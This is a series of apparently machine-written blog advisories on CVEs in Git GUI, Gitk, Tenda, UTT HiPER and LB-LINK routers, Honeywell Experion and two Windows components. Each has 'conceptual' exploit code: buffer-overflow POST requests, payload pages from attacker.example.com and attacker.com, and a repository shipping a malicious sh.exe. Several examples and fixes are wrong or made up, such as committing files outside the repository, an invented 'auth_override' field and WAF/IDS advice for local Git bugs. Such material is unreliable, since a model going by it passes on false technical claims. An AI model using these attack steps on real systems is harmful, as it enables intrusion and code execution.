Author: Ameeba

Overview

In the dynamic world of cybersecurity, the discovery of a high-risk vulnerability in the popular source control management tool, Git GUI, raises serious concerns for users and administrators alike. This vulnerability, identified as CVE-2025-46835, poses a significant threat to any user who clones untrusted repositories and can lead to potential system compromise or data leakage.
The vulnerability affects a wide range of users due to the widespread use of Git GUI in software development. Being a tool that allows developers to interact with Git via a Graphical User Interface, the implications of this vulnerability are far-reaching, affecting individual developers, large software development teams, and organizations that rely on Git for version control.

Vulnerability Summary

CVE ID: CVE-2025-46835
Severity: High-Risk (CVSS: 8.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Git GUI | Prior to 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, 2.50.1

How the Exploit Works

The vulnerability lies within the functionality of Git GUI that allows users to edit files within the repository. When a user is tricked into cloning an untrusted repository and editing a file located in a maliciously named directory, Git GUI can create and overwrite files for which the user has write permission. By exploiting this vulnerability, an attacker can manipulate the file system on the user’s machine, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. An attacker could create a malicious repository with a specially crafted directory and file:

mkdir ../../../tmp/exploit
echo "malicious code" > ../../../tmp/exploit/exploit.txt
git add .
git commit -m "CVE-2025-46835 exploit"

An unsuspecting user could then clone this repository and be tricked into editing the `exploit.txt` file. Git GUI would then overwrite the file at `/tmp/exploit/exploit.txt` with the contents of the edited file.

Mitigation

To mitigate this vulnerability, users are strongly advised to update Git GUI to the latest patched versions: 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, or 2.50.1. If updating is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, users should be wary of cloning untrusted repositories and editing files within them.

Overview

CVE-2025-7586 is a worrying vulnerability identified in Tenda AC500 2.0.1.9(1307). This vulnerability, which has been classified as critical, is related to formSetAPCfg function of the file /goform/setWtpData. Its exploitation could lead to a stack-based buffer overflow, a common type of security issue that can have disastrous consequences. The vulnerability is of particular concern because it can be exploited remotely, and information regarding its exploitation has been made publicly available, increasing its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-7586
Severity: Critical, CVSS Severity Score: 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC500 | 2.0.1.9(1307)

How the Exploit Works

The exploit takes advantage of a flaw in the formSetAPCfg function of the file /goform/setWtpData. By manipulating the argument radio_2g_1, an attacker can trigger a stack-based buffer overflow. This type of overflow occurs when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer. This overflow can overwrite other data on the stack, potentially leading to arbitrary code execution, alteration of the program’s flow, or even a system crash.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited. This example uses a simple HTTP POST request to the vulnerable endpoint.

POST /goform/setWtpData HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
radio_2g_1=AAAA...[LONG STRING]...

In this example, the `radio_2g_1` parameter is filled with a long string of ‘A’s. If the vulnerability is present, this could trigger a stack-based buffer overflow.

Recommendation

Users are strongly recommended to apply the vendor’s patch to mitigate the vulnerability. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. However, these measures do not eliminate the vulnerability, and patching should be carried out as soon as possible.

Overview

In the rapidly evolving field of cybersecurity, new vulnerabilities are continually being discovered and exploited. One recent vulnerability, identified as CVE-2025-2521, has been detected in Honeywell Experion PKS and OneWireless WDM. These systems are widely used in industrial control, exposing a broad range of industries to potential attacks. The vulnerability lies in an overread buffer in the Control Data Access (CDA) component, which could lead to remote code execution by a malicious actor.
This vulnerability is particularly concerning due to its severe impact and the wide range of affected products. The potential for system compromise or data leakage is a significant threat to the security and integrity of operations in affected industries.

Vulnerability Summary

CVE ID: CVE-2025-2521
Severity: High, CVSS Score 8.6
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Honeywell Experion PKS | 520.1 through 520.2 TCU9 and 530 through 530 TCU3
OneWireless WDM | 322.1 through 322.4 and 330.1 through 330.3

How the Exploit Works

The vulnerability in question exists due to inadequate buffer size validation in the CDA component of the affected systems. An attacker could exploit this by sending specially crafted packets that would cause an overread of the buffer. This could potentially lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a pseudocode representation of a malicious packet that might trigger the buffer overread:

# Malicious Payload
malicious_payload = {"buffer": "OVERFLOW"}
# Send the malicious payload
send_packet("target_ip_address", "target_port", malicious_payload)

Please note that this is a simplified representation and actual exploit code would likely be more complex.

Overview

The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered on a regular basis. One such vulnerability, identified as CVE-2025-46334, poses a significant risk to users of Git GUI, a popular interface for the Git source control management tools. This vulnerability allows a malicious repository to deliver harmful versions of sh.exe or typical textconv filter programs, such as astextplain, leading to potential system compromise or data leakage.
This vulnerability essentially stems from the design of Tcl on Windows, where the search path for an executable always includes the current directory. This comes into action when the user selects Git Bash or Browse Files from the menu, consequently invoking the malicious programs. Given the widespread use of Git GUI, this vulnerability could have far-reaching implications if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-46334
Severity: Critical (8.6 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Git GUI | Prior to 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, 2.50.1

How the Exploit Works

The exploit takes advantage of a design flaw in Tcl on Windows, which always includes the current directory in the search path when looking for an executable. A malicious repository can then ship harmful versions of sh.exe or typical textconv filter programs, such as astextplain. These programs are invoked when the user selects Git Bash or Browse Files from the menu.

Conceptual Example Code

While the exact exploit code may vary, a conceptual example might look something like this:

# Creating a malicious repository
git init malicious_repo
cd malicious_repo
# Creating a malicious sh.exe
echo 'echo You have been pwned' > sh.exe
# Committing the malicious sh.exe to the repository
git add sh.exe
git commit -m "Add sh.exe"

When a user clones this repository and opens it in Git GUI, then selects Git Bash or Browse Files, the malicious sh.exe is executed.

Overview

In this blog post, we will discuss the recently identified vulnerability, CVE-2025-27614, which poses a significant risk to users of Gitk, a widely-used Git history browser based on Tcl/Tk. This vulnerability allows an attacker to deceive a user into executing potentially harmful scripts, leading to system compromise or data leakage. This issue is particularly serious due to the widespread use of Gitk and the severity of potential impacts, which include both system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27614
Severity: High (CVSS: 8.6)
Attack Vector: Local (Via cloned Git repositories)
Privileges Required: User level
User Interaction: Required (Social Engineering)
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Gitk | 2.41.0 to 2.43.6, 2.44.0 to 2.44.3, 2.45.0 to 2.45.3, 2.46.0 to 2.46.3, 2.47.0 to 2.47.2, 2.48.0 to 2.48.1, 2.49.0

How the Exploit Works

The exploit takes advantage of a design flaw in Gitk that allows an attacker to craft a Git repository in such a way that tricks a user into running any script supplied by the attacker. This is achieved by invoking ‘gitk filename’, where the filename has a particular structure. The script is run with the privileges of the user, enabling a potential system compromise or data leakage. The exploit requires some degree of social engineering, as the user has to be convinced to clone and interact with the malicious repository.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a hypothetical shell command that the user might be tricked into running:

$ gitk malicious_filename

In this example, “malicious_filename” is a file within the cloned Git repository that has been crafted by the attacker to trigger the exploit when interacted with via Gitk.

Mitigation

The vulnerability has been fixed in the following Gitk versions: 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, and 2.50. It is highly recommended to update to these versions to prevent potential exploitation. If immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation, but should by no means be considered a long-term solution.

Overview

CVE-2025-7571 is a highly critical vulnerability found in versions up to 3.1.1-190328 of the UTT HiPER 840G. This vulnerability is notable due to the potential it carries for a system compromise or data leakage. It concerns an unknown part of the file /goform/aspApBasicConfigUrcp that can be manipulated through the Username argument to result in a buffer overflow. The severity of this vulnerability is compounded by the fact that the exploit has been made publicly available, and that the vendor, despite being informed, has not responded with a fix.

Vulnerability Summary

CVE ID: CVE-2025-7571
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

UTT HiPER 840G | Up to 3.1.1-190328

How the Exploit Works

The exploit works by manipulating the Username argument in the /goform/aspApBasicConfigUrcp file. By providing an excessively long string as the username, an attacker can overflow the buffer, potentially leading to arbitrary code execution, system compromise, or data leakage. Since the exploit has been publicly disclosed, any malicious actor with knowledge of this vulnerability can exploit it.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited using an HTTP POST request:

POST /goform/aspApBasicConfigUrcp HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... // long string to overflow buffer

In the above example, an excessively long string is provided as the Username to overflow the buffer.

Mitigation and Recommendations

Until the vendor provides a patch, it’s recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability. Also, it’s advisable to restrict access to the affected system as much as possible until a patch is available. Regularly monitoring system logs for any unusual activity can help identify attempted exploits early.

Overview

The cybersecurity landscape is constantly evolving, and with it, the emergence of new threats and vulnerabilities. One such vulnerability, which has been classified as critical, has been discovered in multiple models of LB-LINK routers. This vulnerability, identified as CVE-2025-7574, affects the web interface component of these routers, leading to improper authentication. As a result, attackers can potentially launch remote attacks, leading to system compromise or data leakage.
The vulnerability has been publicly disclosed, increasing the risk of potential exploits. Despite early contact and disclosure to the vendor, there has been no response, raising serious concerns about the security of these devices and the data they protect. This vulnerability highlights the importance of maintaining up-to-date device software and the potential risks associated with using unsupported or outdated devices.

Vulnerability Summary

CVE ID: CVE-2025-7574
Severity: Critical (CVSS score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LB-LINK BL-AC1900 | Up to 20250702
LB-LINK BL-AC2100_AZ3 | Up to 20250702
LB-LINK BL-AC3600 | Up to 20250702
LB-LINK BL-AX1800 | Up to 20250702
LB-LINK BL-AX5400P | Up to 20250702
LB-LINK BL-WR9000 | Up to 20250702

How the Exploit Works

The vulnerability stems from a flaw in the ‘reboot/restore’ function of the ‘/cgi-bin/lighttpd.cgi’ file, which is a component of the web interface. This flaw allows for manipulation that leads to improper authentication. Since the vulnerability can be exploited remotely, an attacker doesn’t need physical access to the device, increasing the likelihood of potential attacks.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This example represents a simple HTTP POST request that might be used to manipulate the vulnerable ‘reboot/restore’ function.

POST /cgi-bin/lighttpd.cgi?reboot/restore HTTP/1.1
Host: vulnerable-router.example.com
Content-Type: application/json
{
"action": "reboot",
"auth_override": true
}

In this hypothetical example, the “auth_override”: true part of the payload is the unauthorized command that takes advantage of the improper authentication. The real-life exploit could be more complex and require additional steps or information. Please note that this is a conceptual example and should not be used for any illicit activities.

Overview

The CVE-2025-7620 is a critical vulnerability discovered in the cross-browser document creation component developed by Digitware System Integration Corporation. This vulnerability puts systems with this component at risk of remote code execution, an attack that could potentially allow unauthorized remote attackers to carry out arbitrary commands. Given the widespread usage of Digitware’s document creation component across various browsers, this vulnerability holds severe implications for both individual users and organizations alike, with potential damages ranging from system compromises to data breaches.

Vulnerability Summary

CVE ID: CVE-2025-7620
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Digitware Document Creation Component | All versions

How the Exploit Works

The vulnerability lies in the fact that if a user visits a malicious website while the document creation component is active, the system can be manipulated to download and execute arbitrary programs. The attacker crafts a malicious payload and embeds it into a seemingly innocuous webpage. When a user with an affected version of the Digitware component visits this webpage, the payload triggers the vulnerability, causing the host system to download and execute the malicious program.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability could be exploited:

GET /malicious/website HTTP/1.1
Host: attacker.example.com
Content-Type: text/html
<html>
<head></head>
<body>
<script>
var malicious_payload = {...}; // Contains the malicious code
Digitware.exec(malicious_payload);
</script>
</body>
</html>

In the above example, the attacker’s server responds to a GET request with a webpage that contains a script tag. This script tag contains a call to the vulnerable `Digitware.exec` function, passing in the malicious payload.

How to Mitigate the Vulnerability

To mitigate the risks associated with this vulnerability, the recommended course of action is to apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These will monitor and potentially block suspicious activities, reducing the risk of successful exploitation. Users are also advised to avoid visiting untrusted websites, especially while the document creation component is active, to minimize exposure to potential attacks.

Overview

In the realm of cybersecurity, there’s a newly discovered vulnerability that’s raising concerns among Windows users. The vulnerability, officially named CVE-2025-7619, affects BatchSignCS, a background application developed by WellChoose that’s used in various capacities on Windows platforms globally. This vulnerability matters because it can lead to a potential system compromise or data leakage, creating a serious risk for businesses and individuals alike. It’s especially worrisome because if a user visits a malicious website while the BatchSignCS application is running, remote attackers can exploit this vulnerability to write arbitrary files to any path and potentially execute arbitrary code.

Vulnerability Summary

CVE ID: CVE-2025-7619
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BatchSignCS | All current versions

How the Exploit Works

The vulnerability lies in the BatchSignCS’s improper validation of user-supplied data. If a user visits a malicious website and a particular set of conditions are met, the BatchSignCS application can be tricked into writing files to arbitrary paths on the user’s system. This means that an attacker could create, modify, or delete any file on the system, potentially leading to arbitrary code execution if the file is associated with an executable program.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. The attacker sends a malicious payload to the vulnerable endpoint, which is then processed by the BatchSignCS application.

GET /malicious_website HTTP/1.1
Host: attacker.com
Content-Type: application/json
{ "file_path": "C:\\Windows\\System32\\malicious_file.exe", "file_content": "BASE64_ENCODED_MALICIOUS_CODE" }

In this example, the attacker is attempting to write malicious code to the Windows System32 directory, which houses many of the operating system’s critical files. If successful, this could lead to the execution of arbitrary code with the permissions of the BatchSignCS application.

Mitigation Steps

Users are strongly urged to apply the vendor patch as soon as it is available. As an interim measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to mitigate the vulnerability. They can potentially block or alert on attempts to exploit this vulnerability, reducing the risk of a successful attack. Cybersecurity best practices such as keeping software up to date, avoiding untrusted websites, and regularly backing up data should also be followed.

Overview

The CVE-2025-7570 is a critical vulnerability discovered in UTT HiPER 840G up to version 3.1.1-190328. This vulnerability, which has been publicly disclosed, is of high concern due to its potential to compromise systems or leak sensitive data. It affects an unknown functionality of the file /goform/aspRemoteApConfTempSend and could be exploited remotely. The vendor’s lack of response to this disclosure, despite early contact, increases the urgency for users to apply the available mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-7570
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

UTT HiPER 840G | Up to 3.1.1-190328

How the Exploit Works

The vulnerability lies within a specific argument (remoteSrcTemp) of the /goform/aspRemoteApConfTempSend file. The manipulation of this argument can lead to a buffer overflow condition. Buffer overflow occurs when more data is written into a buffer than it can handle, causing an overflow of data into adjacent memory, which could potentially lead to arbitrary code execution or denial of service.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a basic HTTP POST request, which includes a malicious payload that could manipulate the “remoteSrcTemp” argument, causing a buffer overflow.

POST /goform/aspRemoteApConfTempSend HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
remoteSrcTemp=AAAAA...[Add large amount of A's to overflow buffer]...AAAAA

Mitigation

There is currently no patch provided by the vendor for this vulnerability. As a mitigation measure, it is recommended to utilize a Web Application Firewall (WAF) or Intrusion Detection Systems (IDS). These can help detect and block attempts to exploit this vulnerability. However, it is advised to continue monitoring any updates from the vendor regarding a potential patch.